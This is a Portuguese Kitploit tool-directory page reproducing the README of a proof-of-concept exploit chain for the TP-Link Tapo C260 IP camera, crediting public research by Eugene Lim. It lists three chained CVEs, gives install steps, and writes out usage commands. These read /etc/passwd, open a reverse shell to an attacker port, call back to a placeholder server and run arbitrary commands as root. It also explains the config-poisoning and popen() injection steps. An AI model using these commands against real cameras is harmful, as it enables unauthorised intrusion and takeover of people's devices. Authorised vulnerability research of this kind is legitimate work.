Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/l0lsec/tapo-c260-rce
Segurança de Sistemas EmbarcadosSegurança IoTAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebHacking de HardwareTestes de PenetraçãoComando e ControleSegurança de Hardware e IoTAnálise de Firmware
GitHub
12há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
l0lsec/tapo-c260-rce

tapo-c260-rce

Cadeia de exploração PoC para a câmera TP-Link Tapo C260 — CVE-2026-0651/0652/0653. Pesquisa por @spaceraccoon.

Ver Repositório

Cadeia de RCE Tapo C260 (CVE-2026-0651 / CVE-2026-0652 / CVE-2026-0653)

Prova de conceito de cadeia de exploração para a câmera IP TP-Link Tapo C260 que alcança RCE de não autenticado a root encadeando três vulnerabilidades descobertas por Eugene Lim (Spaceraccoon).

Créditos

Toda a pesquisa e descoberta de vulnerabilidades por Eugene Lim (@spaceraccoon).

Este repositório é uma implementação de PoC baseada em seu writeup público. Se você achar isso útil, compre o livro dele: From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research (No Starch Press).

Cadeia de Vulnerabilidades

CVETipoImpacto
CVE-2026-0651Path Traversal / Divulgação de Arquivos LocaisLer arquivos arbitrários via /%2e%2e%2f no manipulador HTTP GET
CVE-2026-0652Gravação Arbitrária de ConfiguraçãoUsuários de nível convidado podem gravar em qualquer caminho de configuração via manipulação de chaves JSON na API de nuvem
CVE-2026-0653Injeção de Comandos / Escalação de Privilégiosset_region_code_handle passa o valor de configuração dev_name sem sanitização para popen()

Cadeia de Exploração

root@kitploit:~
LFD (ler configuração do dispositivo) --> Gravação de Configuração (envenenar dev_name) --> Acionar manipulador de código de região --> popen() --> shell

Requisitos

  • Python 3.8+
  • Acesso de rede à câmera (para LFD) ou um token de autenticação de nuvem TP-Link válido (para RCE)
  • Credenciais de nível convidado são suficientes para a cadeia completa

Instalação

root@kitploit:~
git clone https://github.com/<you>/tapo-c260-rce.git
cd tapo-c260-rce
pip install -r requirements.txt

Uso

Divulgação de Arquivos Locais (CVE-2026-0651)

Ler arquivos arbitrários de uma câmera na rede local:

root@kitploit:~
python lfd.py --host 192.168.1.100 --token <stok_token> --file /etc/passwd

Cadeia Completa de RCE (CVE-2026-0651 + CVE-2026-0652 + CVE-2026-0653)

root@kitploit:~
# Reverse shell
python exploit.py \
  --cloud-host aps1-app-server.iot.i.tplinkcloud.com \
  --device-id <DEVICE_ID> \
  --cloud-token <CLOUD_AUTH_TOKEN> \
  --lhost <YOUR_IP> \
  --lport 4444

# Apenas callback (ping curl)
python exploit.py \
  --cloud-host aps1-app-server.iot.i.tplinkcloud.com \
  --device-id <DEVICE_ID> \
  --cloud-token <CLOUD_AUTH_TOKEN> \
  --callback http://your-server.com/pwned

# Comando personalizado
python exploit.py \
  --cloud-host aps1-app-server.iot.i.tplinkcloud.com \
  --device-id <DEVICE_ID> \
  --cloud-token <CLOUD_AUTH_TOKEN> \
  --cmd "id > /tmp/pwned"

Como Funciona

  1. Envenenar — Envia uma solicitação setLedStatus com chaves JSON manipuladas que grava um payload de metacaractere de shell no caminho de configuração tp_manage/info/dev_name no dispositivo.

  2. Acionar — Envia uma solicitação set_region_code. O manipulador lê dev_name da configuração e o interpola em uma chamada popen() sem sanitização, executando o comando injetado.

  3. Shell — O atacante recebe um callback ou reverse shell.

Firmware Afetado

  • TP-Link Tapo C260 (firmware anterior ao patch)
  • Potencialmente outros modelos Tapo que compartilham o mesmo binário omnibus /bin/main

Aviso Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Os autores não são responsáveis pelo uso indevido. Sempre obtenha permissão explícita antes de testar contra qualquer dispositivo que você não possua.

Referências

  • Writeup Original — Spaceraccoon
  • Pesquisa do Protocolo Tapo de Kennedn
  • Aviso de Segurança TP-Link
Baixar ferramenta